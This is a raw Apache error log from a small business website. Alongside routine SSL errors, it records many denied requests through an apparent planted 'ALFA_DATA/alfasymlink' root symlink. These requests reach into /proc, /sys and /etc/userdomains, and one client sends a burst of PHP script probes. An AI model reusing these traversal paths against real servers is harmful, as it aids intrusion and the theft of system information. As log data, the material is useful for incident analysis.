[Sun Oct 25 06:51:58.119307 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 34.227.234.246:19540] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:52:03.985978 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 85.208.96.202:26382] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:52:14.145775 2026] [core:error] [pid 2815608:tid 2815608] (13)Permission denied: [client 54.204.62.163:27457] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/memory6/subsystem/uevent
[Sun Oct 25 06:52:22.137679 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 23.23.180.225:53072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:52:38.118517 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.166.126.132:24379] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:52:46.267200 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 3.210.114.189:43119] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:52:58.146389 2026] [core:error] [pid 2815608:tid 2815608] (13)Permission denied: [client 3.224.215.150:13807] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/new_id
[Sun Oct 25 06:53:02.161610 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 35.153.86.200:23776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:53:06.167341 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 23.23.104.107:47307] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:53:10.185992 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 3.232.102.111:32084] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:53:25.634350 2026] [core:error] [pid 2815596:tid 2815596] (13)Permission denied: [client 185.191.171.15:39062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/aliases
[Sun Oct 25 06:53:26.338250 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 3.215.221.125:7130] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:53:34.243584 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 44.223.115.10:43861] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:53:42.203662 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.204.81.148:39735] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:53:46.480875 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 185.191.171.4:53838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/net_failover/sections/__kcrctab_gpl
[Sun Oct 25 06:53:50.211058 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 44.210.204.255:4213] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:53:54.332186 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 23.22.59.87:24198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:53:58.591713 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 3.81.253.213:25201] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:54:02.216124 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 54.147.182.90:30299] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:54:10.441316 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 18.232.11.247:25061] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:54:22.221998 2026] [core:error] [pid 2815596:tid 2815596] (13)Permission denied: [client 3.232.82.72:57351] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/physical_node/subsystem/uevent
[Sun Oct 25 06:54:26.243498 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.235.191.179:58164] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:54:30.235423 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.208.146.193:40657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:54:33.915411 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 185.191.171.1:33802] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:54:38.341606 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 18.214.124.6:25262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory12/node0/memory20/subsystem/uevent
[Sun Oct 25 06:54:46.420144 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 52.6.232.201:46295] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:54:58.273494 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.226.89.140:47898] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:54:58.273790 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.226.89.140:47898] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:00.0/power_state"] [unique_id "at3gAty-_GHm1dX7tKN3EAAAABA"]
[Sun Oct 25 06:54:58.273832 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.226.89.140:47898] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:00.0/power_state"] [unique_id "at3gAty-_GHm1dX7tKN3EAAAABA"]
[Sun Oct 25 06:55:02.303029 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 52.1.106.130:44181] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:55:18.345791 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 3.210.114.189:43149] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:05.0/resource0
[Sun Oct 25 06:55:50.439009 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 3.221.222.168:13707] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/input4/device/driver/uevent
[Sun Oct 25 06:55:50.662490 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 185.191.171.1:58600] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:65/type
[Sun Oct 25 06:55:58.387372 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 23.23.137.202:13726] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:56:06.664462 2026] [security2:error] [pid 2800259:tid 2800259] [client 43.153.7.191:36830] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/categories.php"] [unique_id "at3gRr2dQNaDuK1aHdomCgAAAAs"]
[Sun Oct 25 06:56:14.298497 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 98.83.226.125:11843] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:56:18.625655 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.210.29.96:31631] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:56:26.468132 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 54.91.122.193:8469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:56:34.317944 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 184.73.167.217:44771] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:56:42.365306 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 34.205.170.13:15417] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:56:50.466751 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 34.194.14.255:27634] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:56:54.451456 2026] [core:error] [pid 2815608:tid 2815608] (13)Permission denied: [client 35.168.238.50:31618] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:07/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/rescan
[Sun Oct 25 06:57:14.488177 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.227.156.153:10528] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:57:22.345937 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.202.233.37:25660] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:57:23.978315 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.12:20874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/cache_dma
[Sun Oct 25 06:57:35.484318 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 52.70.209.13:45575] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:57:38.689471 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 3.89.176.255:33190] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:57:46.370886 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 34.234.197.175:54246] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:58:14.482465 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 44.223.232.55:6604] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:58:18.393720 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 185.191.171.3:60208] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:58:18.428198 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.231.193.38:17425] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:58:22.829248 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 18.215.77.19:63998] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:58:26.423293 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 34.195.248.30:9530] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:58:34.539543 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.224.132.215:58480] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:58:39.382774 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 54.156.248.117:48960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/drivers/battery/unbind
[Sun Oct 25 06:58:42.577881 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 44.215.231.15:14232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/flags
[Sun Oct 25 06:58:53.605607 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 216.244.66.250:35066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/userdomains
[Sun Oct 25 06:58:54.517778 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.3.26.180:50099] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:58:58.667492 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.1.106.130:51661] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:59:01.247858 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:01.621406 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:01.985704 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:02.356213 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:02.726199 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:02.775305 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 23.21.225.190:24445] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/QEMU0002:00/physical_node/driver/bind
[Sun Oct 25 06:59:03.091975 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:03.456598 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:03.822666 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:04.552921 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:04.917496 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:06.018826 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:06.700932 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 23.23.99.55:38053] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/new_id
[Sun Oct 25 06:59:06.747986 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:07.112259 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:07.476652 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:07.840937 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:08.583507 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:08.956657 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:09.321872 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:09.503920 2026] [security2:error] [pid 2806345:tid 2806345] [client 20.194.17.163:7487] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.hosp2.sherwinpinturas.com"] [uri "/go.php"] [unique_id "at3g_UXTOYRMtW9O7Qy3JwAAAAI"]
[Sun Oct 25 06:59:09.503987 2026] [security2:error] [pid 2806345:tid 2806345] [client 20.194.17.163:7487] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.hosp2.sherwinpinturas.com"] [uri "/go.php"] [unique_id "at3g_UXTOYRMtW9O7Qy3JwAAAAI"]
[Sun Oct 25 06:59:09.690567 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:10.057974 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:10.433829 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:10.504273 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.225.45.252:27001] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:59:10.797932 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:11.162442 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:11.526863 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:11.890947 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:12.255427 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:12.621221 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:12.993375 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:13.358605 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:13.723305 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:14.087965 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:14.453218 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:14.492117 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 18.215.77.19:19431] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:59:14.819013 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:15.186105 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:15.550376 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:15.914975 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:16.279558 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:16.643751 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:17.008945 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:17.373690 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:17.742497 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:18.112993 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:18.482747 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.223.232.55:18887] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:59:18.492660 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:18.860104 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:19.231671 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:19.596291 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:19.971628 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:20.335516 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:20.702211 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:21.066726 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:21.433112 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:21.798011 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:22.162958 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:22.534797 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:22.716547 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 34.236.41.241:65065] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:59:22.901441 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:23.280033 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:23.687867 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:23.688333 2026] [security2:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.hosp2.sherwinpinturas.com"] [uri "/insc.php"] [unique_id "at3hCyK0zo25roaoS0zYWAAAABY"]
[Sun Oct 25 06:59:23.688356 2026] [security2:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.hosp2.sherwinpinturas.com"] [uri "/insc.php"] [unique_id "at3hCyK0zo25roaoS0zYWAAAABY"]
[Sun Oct 25 06:59:24.063188 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:24.484320 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:24.861591 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:25.226683 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:25.596962 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:25.972095 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:26.338520 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:26.490188 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.6.97.88:6140] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:59:26.703223 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:27.068830 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:27.433063 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:27.797236 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:28.162070 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:28.531797 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:28.896950 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:29.261323 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:29.625237 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:29.998519 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:30.362906 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:30.773115 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 52.2.191.202:24542] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:59:33.310226 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:34.599993 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.204.62.163:55371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:59:35.518195 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:35.885900 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:36.251785 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
